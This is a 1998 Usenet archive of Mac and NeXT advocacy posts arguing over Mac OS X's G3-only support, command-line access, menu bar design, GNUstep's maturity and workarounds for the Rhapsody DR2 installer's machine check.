Message-ID: <Pine.SOL.3.96.980713110840.9973A-100000@ux7.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6oacub$9q@eldborg.rhi.hi.is>
On Sun, 12 Jul 1998, Sigurdur Einar Vilhelmsson wrote:
> Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> wrote:
>
> <snip>
> > Actually you are not correct. The myriad of motherboard designs went bye
> > bye when Steve came back. The fact that the Mach 3 kernal that OS X sits
> > on ALREADY runs on 7600, 8600, and 9600s says that adding this support to
> > those computers should not be difficult at all. I am guessing that in the
> > end these machines will be supported before OS X shipps. Apple is trying
> > to shatter unreasonable expectations like support any nubus,performas and
> > clones based on those MotherBoards and then give in. In the end they will
> > support the X600 series.
>
> One thing to remember is the Performa fiasco...remember the "upgradeable
> to PowerPC" lawsuit? If Apple says...OSX will run on all PCI PMs...and
> then, for some reason, they cannot do that, they will have class action
> law suits to deal with. They know that, and are probably just covering
> their behinds. When OSX comes out, and they can say, sure...run it on
> G3 upgraded PCI PMs all you like, everyone is happy...(except the NuBUS
> owners).
This seems to me to be a pretty stupid policy.
"When we promise something we really mean that promise to be a possible
indication of one intended plan that we are considering. We are dismayed
that the Macintosh community does not understand this. From now on, we
will commit to nothing because then you fools might actually think we
have some unreasonable legal and moral obligation to deliver."
Apple would restore a lot of faith just by saying something along the
lines of :
"We understand that the Macintosh community has come to expect a high
level of backwards compatibility in our operating systems. The foundations
of our new operating systems are fundamentally different from previous
ones and delivering the same wide range of backwards compatability may not
be reasonably possible and might compromise the quality and timelyness of
the release. We will be supporting all PowerMac and PowerBook G3 series
machines in addition to future machines in Mac OS X. While we cannot
promise to deliver a Mac OS X for older machines, we are looking into
support for at least some of the first generation PCI PowerMacs and hope
to support them with this important operating system release."
Apple has not said anything like that. It has said that there will be no
support for pre-G3 machines and it has given no reasons.
The thing about this that really bugs me is that some people claim this to
be a "brave and bold move" and that "it needed to be done". I hardly think
the orphaning of machines still being sold today is particularly bold or
brave. I take issue with the idea that it needs to be done. The idea that
this situation is at all a positive thing is purely ridiculous (all IMO
of course).
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 13 Jul 1998 10:13:01 -0700
Organization: Primenet (602)416-7000
Distribution: world
Message-ID: <6odf6t$8np@nntp02.primenet.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net>
<Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com> <6odcgk$6ah@nntp02.primenet.com>
<joe.ragosta-1307981234270001@wil55.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: I agree that CLIs can be useful. In the context of this thread, can anyone
: comment on one aspect of the CLI in Mac OS X. I'm assuming that it will be
: there, but let's say it's not. Someone said that it would be trivial for
: someone to create a Terminal which could be used as a CLI. Is that true or
: not?
It depends on what remains. If a shell and the assoicated utilities
remain, then a terminal app should be pretty easy. If the shell and
utilites are gone but POSIX APIs remain, it wouldn't be too hard.
One thing I've wondered about ... back when I did the nShell, Apple used
the ":" as a path separator (allowing "/" in file names), and made full
pathnames Verboten (in favor of FSSpecs). Given the use of Rhapsody
technology (and the prominence of the URL), I wonder if Apple will be
moving to "/" file separators and full pathnames in MacOS X?
John
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 13 Jul 1998 17:22:29 GMT
Organization: MiscKit Development
Message-ID: <6odfol$7qv$1@news.xmission.com>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com> <6oc22f$8m9@news.gdi.net>
NNTP-Posting-Date: 13 Jul 1998 17:22:29 GMT
Let's see if I can match your tone...
craigm@gdi.net (Craig Morehouse) wrote:
> And a question...
>
> Why the heck are the OPENSTEP developers sitting on their cans and not
> writing for these tools?
Because the tools (for GNUSTEP) aren't yet mature enough to build a
commercial app on top of. Besides, the developers have plenty to do to get
their Rhapsody versions ready...so why should they mess with immature tools
that don't quite work right yet when there's a tool set out there that DOES
work? When GNUSTEP is ready for the hardcore developers, they'll be there.
They aren't blind, and they are watching what's is happening with GNUSTEP, I
assure you.
If you don't think GNUSTEP has a way to go, where is the full featured PB?
IB? What about DGS? Up to speed yet? Has GNU got all the kits copied,
functional and fully up to spec yet? All of NSText? Have they caught up to
Apple's DR2 additions, which many of us are using? Well?
Someday GNUSTEP will be ready for us, but today it isn't. Don't you dare ask
why we aren't coding GNUSTEP itself either. As I said, we are damn busy. In
fact, we also have to put food on the table, and writing code that will be
given away doesn't help with that. (Despite that fact, many of us _are_
participating in free software projects, because we do care--like what I do
for the MiscKit--so you can't reasonably ask for much more from us!)
> If any OPENSTEP Developer (who is currently sitting on his can and
> ignoring this market) cares to tell us _why_ he's sitting on his
> can and ignoring this market, I for one, would surely be interested.
They aren't sitting on their cans, and your comments and tone are surely
offensive enough to turn many of them off on the Linux community. You're NOT
helping your cause any.
> If Mesa or OmniWeb or Create! or DataPhile are being brought to the Linux
> platform (via GNU), it's been an artfully held secret.
DataPhile relies upon the IndexingKit, so you won't see it anywhere but
NEXTSTEP for a while yet. Andy might be able to get AIAT to do what he
needs, but if not, there will be a waiting period while he comes up with
something that works (or helps the MiscKit folks port IXKit, which turns out
to be a rather nasty project...). Even if AIAT works, where's the GNU AIAT?
Good luck...
If I recall correctly, Andy did start messing with a Create for GNUSTEP but
gave up due to the immaturity of the environment. I'm sure he'll pick it
back up when GNUSTEP is ready. It is almost a safe bet that Create will be
one of the first commercial apps for GNUSTEP, because Andy really likes to
push the envelope.
When GNUSTEP is ready, the apps will be there. Someday it will be ready, but
that day is NOT today. Get over it or get coding and fix it.
> These programs would grab major shares of the Linux world practically
> overnight. There is little to compare with them, and in some cases, nothing
> at all.
Of course. We all know that. Someday the enviroment will be ready for us to
leverage our codebases...but we can't do that yet.
> So what's going on, NeXT dudes? Does the thought of actually selling more
> than 200 copies of a program make your knuckles turn white?
They want that, but YOU have to give them the tools before they'll take you
seriously. Go make it happen.
> Or would you rather sit and kvetch about the death of Rhaptel while a
> million-dollar market sits open right in front of you?
Most of us are devoting our time to coding, thank you very much. Nowhere
near as much kvetching as you think. We've got work to do.
> Are you Little Old Ladies or are you PROGRAMMERS?
Are you a crabby, cranky old whiner or a programmer? If you want commercial
apps on GNUSTEP so bad, get cracking on GNUSTEP, buddy. Show the way through
action.
> Just thought I'd ask.
Just thought I'd tell ya.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 13 Jul 1998 16:43:24 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oddfc$c88$1@lwnws01.ne.highway1.com>
References: <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote:
> Some apps certainly do, but that still doesn't solve the fundamental issue
> which is having the menu choices stacked on top of each other in a window.
> This breaks up the screen in an odd way so that users wishing to avoid
> covering up content have an irregularly shaped free area to use and ends
> up wasting more space than an incompletely filled menu bar as in the Mac
> OS.
>
> This issue is made particularly worse on smaller screens (less than
> 1280x1024). The Mac menu bar is more efficient with smaller screens since
> less of the bar is likely to be empty space.
There are more efficient implementations. I'm sure apple UI people are way
to busy making hideous decisions and color schemes so as not to have time to
test, consider, or implement better methods.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sev@rhi.hi.is (Sigurdur Einar Vilhelmsson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 17:27:01 +0000
Organization: University of Iceland
Sender: sev@rhi.hi.is (Sigurdur Einar Vilhelmsson)
Message-ID: <6odg0k$s9e@eldborg.rhi.hi.is>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <6oafrg$fic@bgtnsc02.worldnet.att.net>
Jim Coffey <jlc@bocus.uchicago.org> wrote:
>
> And those PCI bus PM Macs owners that have machines that can't be upgraded
> to a G3.
Excuse my ignorance, but what are those models? (PM 6400/6500 and 5400
come to mind).
Siggi
From: xerxes@diku.edu.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 19:53:10 +0100
Organization: DIKU
Message-ID: <1dc4eng.nieo0u96800N@ip170.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
<aa158@valleynet.on.ca> wrote:
> Possibility: Jobs announces another new operating system strategy next
> year. The new, upcoming "OS X Pro Turbo" will only run on G4 Macs...
Consequently, it will be foolish to replace my 6100/60/72 with a new
computer until it becomes fully obsolete. Instead I can upgrade it to
G3, 240 MHz and 1 M backside cache for small money.
In case I replace it with a new G3-computer, I don't even know whether
it will run this new OS X Pro Turbo because it is a G3 only.
In any case, the G3-upgraded 6100 will be a good UNIX-box.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 11:13:03 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com>
In article <6od8vj$e54$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
> In article <6oae9f$7sf@netnews.hinet.net>,
> ch480124@ms5.hinet.net wrote:
>
> > Jobs is using Mac OS X as the incentive for users to buy new G3,
> > including iMac.
>
>
> Smart business tactics against those customers that dared to buy non-Apple
> hardware, or those who might think of upgrading their old, clunky, archaic
> PCI PowerMacs...
>
>
> Possibility: Jobs announces another new operating system strategy next year.
> The new, upcoming "OS X Pro Turbo" will only run on G4 Macs...
You are forgetting that OS-8 will continue to be sold and supported in parallel
with OS-X. Anyone who's Power Mac won't run OS-X can run OS-8.x, and OS-8.x
will run carbon-tuned apps. It just won't have protected memory, and PMT. If
those are the features one wants, one will have to buy a G3 or a G4 machine to
get them.
George Graves
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtEw1pAI.oC@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <adtEw0FA2.HFD@netcom.com> <joe.ragosta-1307980658130001@elk57.dol.net>
Date: Mon, 13 Jul 1998 18:13:30 GMT
Sender: adt@netcom9.netcom.com
Joe Ragosta (joe.ragosta@dol.net) wrote:
: adt@netcom.com (Anthony D. Tribelli) wrote:
: > I don't suppose you could offer an example of where the same person
: > claimed (in the same timeframe) that 486 performance was OK on a genuine
: > i486 cpu but not OK under emulation on a PowerPC cpu. I suspect multiple
: > individuals here, like person A saying 486s are fine and person B saying
: > VPC is too slow.
:
: I suspect that it _was_ often different people (although it wouldn't
: surprise me if some of the more notorious Wintrolls argued both sides of
: the issue). The point was that here we are in comp.sys.mac.advocacy and
: half the trolls are yelling that VPC is too slow while the other half seem
: to be yelling that 486 speed is fine.
Fair enough. But keep in mind that my 8500/180 has good performance today,
but two weeks after getting a G3/350 it will suck. :-) Good performance
is relative to what you are used to.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: An irrelevant comment on the MacWorld expo
Date: 13 Jul 1998 18:01:49 GMT
Organization: I don't think so
Message-ID: <slrn6qkj3r.47j.jason@jhste1.dyn.ml.org>
References: <6o3mda$ldf$1@hole.sdsu.edu> <joe.ragosta-1007980803500001@wil117.dol.net> <gdwarnernyet-1107980105360001@mg-20664219-154.ricochet.net> <Pine.OSF.3.92.980712013928.17365D-100000@pigeon.qut.edu.au> <MPG.101175043f849a54989978@news.supernews.com> <mNOSPAMroeder-1207981333550001@192.168.21.172> <MPG.101325ddb2b6c504989981@news.supernews.com> <6obsn7$8m9@news.gdi.net> <MPG.10133fd17bf8d971989987@news.supernews.com> <macghod-1207982158400001@sdn-ar-001casbarp259.dialsprint.net>
Steve Sullivan posted the following to comp.sys.mac.advocacy:
>> > I use a Mac _and_ I use NeXTStep _and_ I use SparcLinux. Do I have to
>bleed
>> > three times? I will if I must, but Christ, I never thought I'd do that for
>> > UseNet.
>> You can give 1/3 vote for each. (This thing is getting more and more
>> complex.)
>What about someone who has a mac but refuses to run macos on it, and runs
>linux instead? Or, what about someone who has a pc but refuses to run ms
>windows on it and runs apple's rhapsody instead?
A better question is whether blood for Mklinux and Linux/PowerPC is
tallied separately, or combined in a Linux on PowerPC pool.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 13 Jul 1998 11:05:55 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1307981105550001@192.168.21.165>
References: <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com>
In article <6oddfc$c88$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
> > Some apps certainly do, but that still doesn't solve the fundamental issue
> > which is having the menu choices stacked on top of each other in a window.
> > This breaks up the screen in an odd way so that users wishing to avoid
> > covering up content have an irregularly shaped free area to use and ends
> > up wasting more space than an incompletely filled menu bar as in the Mac
> > OS.
> >
> > This issue is made particularly worse on smaller screens (less than
> > 1280x1024). The Mac menu bar is more efficient with smaller screens since
> > less of the bar is likely to be empty space.
>
> There are more efficient implementations.
I happen to like the single menu bar across the top of the screen. It has
a number of advantages that outweigh any complaints about efficiency.
*The menu bar is always there at the top of the screen. I don't have to go
hunting for it.
*The menu bar is effectively 68 miles tall. I can slam my mouse up there
and not worry about overshooting it.
*There is only one menu bar. I don't have to worry about finding the wrong
menu bar and thus bringing forward the wrong application.
Efficiency has to be measured not just in pixels but also in seconds.
(Windows' screen "efficiency" goes right down the tubes anyway, since you
have that fat window title bar across the top of every window menu.)
> I'm sure apple UI people are way
> to busy making hideous decisions and color schemes so as not to have time to
> test, consider, or implement better methods.
Um, no, there I have to disagree with you. Apple has some very good UI
people who design pleasing and consistent color schemes. They even explain
to developers how to design their own UIs to match. If you want hideous
color schemes, try those of Windows. They range from garish to ghastly.
Apple is always considering, testing, and iplementing better methods. Have
you read "Tog on Interface"? It's a collection of letters to the editors
of Apple's developer journal. Software developers ask questions and offer
suggestions and complaints ... and as a result Apple makes revisions to
the UI guidelines.
If you think that the Macintosh UI hasn't grown, then that's a testament
to how well designed the original was, and how subtly, without a major
redesign every release, Apple was able to extend its metaphor to include
new concepts. Windows, on the other hand, underwent a serious mutation
with every major release, leading to some hefty retraining costs every
time. (And Active Desktop? Gawd! My desktop is a desktop, not the
world-wide web!)
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 13 Jul 1998 13:25:21 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6oddfc$c88$1@lwnws01.ne.highway1.com>
On 13 Jul 1998, John Kheit wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
> > Some apps certainly do, but that still doesn't solve the fundamental issue
> > which is having the menu choices stacked on top of each other in a window.
> > This breaks up the screen in an odd way so that users wishing to avoid
> > covering up content have an irregularly shaped free area to use and ends
> > up wasting more space than an incompletely filled menu bar as in the Mac
> > OS.
> >
> > This issue is made particularly worse on smaller screens (less than
> > 1280x1024). The Mac menu bar is more efficient with smaller screens since
> > less of the bar is likely to be empty space.
>
> There are more efficient implementations. I'm sure apple UI people are way
> to busy making hideous decisions and color schemes so as not to have time to
> test, consider, or implement better methods.
From all I've seen of the "Hi-tech" and "Gizmo" schemes, I hate them. they
add no functionality while being bulbous and distracting. I suppose some
people will like them, but I don't.
The "Platinum" color schemes are fine (IMO), but one thing I _do_not_ like
in the screen shots of Rhapsody I've seen is the way scrollers look. I'm
all for proportional scrollers, but that little 12x12 (or is it even
smaller?) textured square in the middle is _horrible_. It looks tacky. I
wish Apple would put some thought into the asthetics of that. Maybe
texturing the whole scroller would be better. Just about anything would be
better.
I hope that Mac OS 8.5 (which is supposed to implement proportional
scrollers) doesn't look like that and that Rhapsody eventually changes
that look.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 10:40:35 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1307981040350001@sf-pm5-24-88.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net> <gmgraves-1107980828480001@sf-usr1-11-139.dialup.slip.net> <macghod-1107981201520001@sdn-ar-001casbarp259.dialsprint.net> <gmgraves-1207981533140001@sf-usr1-36-164.dialup.slip.net> <macghod-1207981801500001@sdn-ar-001casbarp113.dialsprint.net>
In article <macghod-1207981801500001@sdn-ar-001casbarp113.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <gmgraves-1207981533140001@sf-usr1-36-164.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > And then watch the message "This OS MUST be launched from the original
> > media. Please insert the Rhapsody Installer CD and try again". Read what I
> > said:
> >
> > "....the Rhapsody DR2 release will ONLY install from the OS on the Install
> > CD." If you make a copy, its no longer ON the install CD! The DR2 installer
> > won't let you make a WORKING image copy of the entire CD either.
>
> I dont know what you mean by the *INSTALLER* wont let you make a working
> image copy. The installer has nothing to do with the making of the
> image. Now, if you are saying that once you make the image, the installer
> will somehow tell that its not a authorized apple cd, well then that is
> different.
Bingo! Then you did know what I mean.....so does everyone else.
You are wrong, but its still different. You can in fact
> install from a cd that was burned from a rhapsody dr2 image.
>
> Many people have done this George, and it has worked. I am not sure if
> you use toast or adaptec cd copy (or something similiarly named)
I have had NO luck in doing this (I use Toast). Everytime I burn one, I get
the message about using the original. I subscribe to a DR2 mailing list,
none of them have been able to get this to work either. If you have some
inside knowledge, denied to the rest of us, lets hear it.
George Graves
>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 11:07:07 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1307981107080001@sf-pm5-24-88.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net> <1dc02ox.4h48bdtmgzfN@ip172.albnxr2.ras.tele.dk> <gmgraves-1107980834220001@sf-usr1-11-139.dialup.slip.net> <cdoutyEw0574.88u@netcom.com>
In article <cdoutyEw0574.88u@netcom.com>, cdouty@netcom.com (Chris Douty) wrote:
> In article <gmgraves-1107980834220001@sf-usr1-11-139.dialup.slip.net>,
> George Graves <gmgraves@slip.net> wrote:
> >In article <1dc02ox.4h48bdtmgzfN@ip172.albnxr2.ras.tele.dk>,
> >xerxes@diku.edu.dk (Per Erik Ronne) wrote:
> >
> >> Steve Sullivan <macghod@concentric.net> wrote:
> >>
> >> > In article <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>,
> >> > xerxes@diku.edu.dk (Per Erik Ronne) wrote:
> >> >
> >> > > George Graves <gmgraves@slip.net> wrote:
> >> > >
> >> > > > I can tell you for a dead-cinch fact that Apple most assuredly CAN
> >> > > > restrict OSX in any way they like. If they design the installer to
> >> > > > exclude certain gestalt IDs, then OSX simply won't install on those
> >> > > > machine irresepective of whether or not it will actually run on them!
> >> > >
> >> > > Can't shareware programmers reverse-engineer the installer and
allow the
> >> > > program to be installed on this computer?
> >> >
> >> > Well, their is already a program to do this, people who install rhapsody
> >> > use it. I forget the name, something like "whatami". I am sure someone
> >> > will chime in and give its actual name. It lets you choose what kind of
> >> > computer the computer will think it is. So, I would assume if you have a
> >> > 030 mac, you can use it to say its a 040, and os 8 should install that
> >> > way.
> >>
> >> Well, maybe that will make a 6100 with a G3-card [240 MHz] able to use
> >> MacOS X? Unless, of course, it will not run on the NuBus cumputers.
> >
> >Another problem is that "I wish I were" hasn't been updated in quite a
> >while. There are no G3 machines listed among the available 'False IDs"
> >that come with the control panel. If OSX truly requires a G3 to install,
> >"I wish I were" won't help at all, even if Apple doesn't write the installer
> >as restictively as they did the DR2 installer.
>
> I don't think that this will work. "I wish I were" is a MacOS program
> AFAIK, and might not work terribly well when you're booting a mach kernel
> OS X installation CD. Besides, how do you get the program on the
> installation CD? How do you get the ID faker started before the install
> program?
Your gonna have to boot (initially anyway) with Mac OS8 to install OS-X
(because thats what everyone will be migrating FROM). After the Mach
Kernel and the rest of OS-X are installed, there will be no further need
of a "gestalt falsifier". My original point is that you CANNOT put a
control panel into a read-only system.
>
> Anyway, that's a distraction. The real problem is that until very
> recently, each Mac model had a totally different motherboard. Oh sure,
> there were similarities, but surely you remember all the little
> "Enablers" released with each new hw model, and that OS7.6 didn't support
> some of the computers that 7.5.5 did, but that 7.6.1 fixed that... John
> Rubenstein talked about some of these problems indirectly at WWDC98 when
> he was outlining his goal of one motherboard design for all models.
>
> Be has already confirmed (to a degree) that the PowerMac G3 models are
> significantly different than earlier PCI-based Macs. All Apple has to do
> is not release a driver for that motherboard and you *CAN'T* install on
> it. Theoretically a third-party could support some additional models iff
> the kernel can boot far enough to read drivers from the hard disk. *I*
> wouldn't want to bet on that.
Me either. My whole point here was that Apple knows exactly how to lock
out unsupported machines with its installers and has, in fact, done so with
the Rhapsody DR2 release. Work-arounds don't seem to work, and they seem
to anticipated most of them anyway.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 11:08:14 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1307981108150001@sf-pm5-24-88.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net> <1dc02ox.4h48bdtmgzfN@ip172.albnxr2.ras.tele.dk> <gmgraves-1107980834220001@sf-usr1-11-139.dialup.slip.net> <cdoutyEw0574.88u@netcom.com> <macghod-1207981756260001@sdn-ar-001casbarp113.dialsprint.net>
In article <macghod-1207981756260001@sdn-ar-001casbarp113.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <cdoutyEw0574.88u@netcom.com>, cdouty@netcom.com (Chris
Douty) wrote:
>
> > In article <gmgraves-1107980834220001@sf-usr1-11-139.dialup.slip.net>,
> > George Graves <gmgraves@slip.net> wrote:
>
> Joe, I never saw a response to my response to you, I would be interested
> in what you say
>
>
> > I don't think that this will work. "I wish I were" is a MacOS program
> > AFAIK, and might not work terribly well when you're booting a mach kernel
> > OS X installation CD. Besides, how do you get the program on the
> > installation CD? How do you get the ID faker started before the install
> > program?
>
>
> Simple,
> 1) put rdr2 install cd in computer, make a toast image of the file (or
> shrinkwrap). Make sure it is a writable image file.
> 2) Mount image file, put control panel in the control panels of the
> mounted image file.
> 3) Put away the image, remount the image just to make sure the control
> panel is still in the images control panel.
> 4) burn image to cd
>
It doesn't work.
George Graves
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtEw1p2A.Bn@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <adtEw0FA2.HFD@netcom.com> <TheLidlessEyeTh-1307980220280001@digital-02-146.hou.neoworld.net>
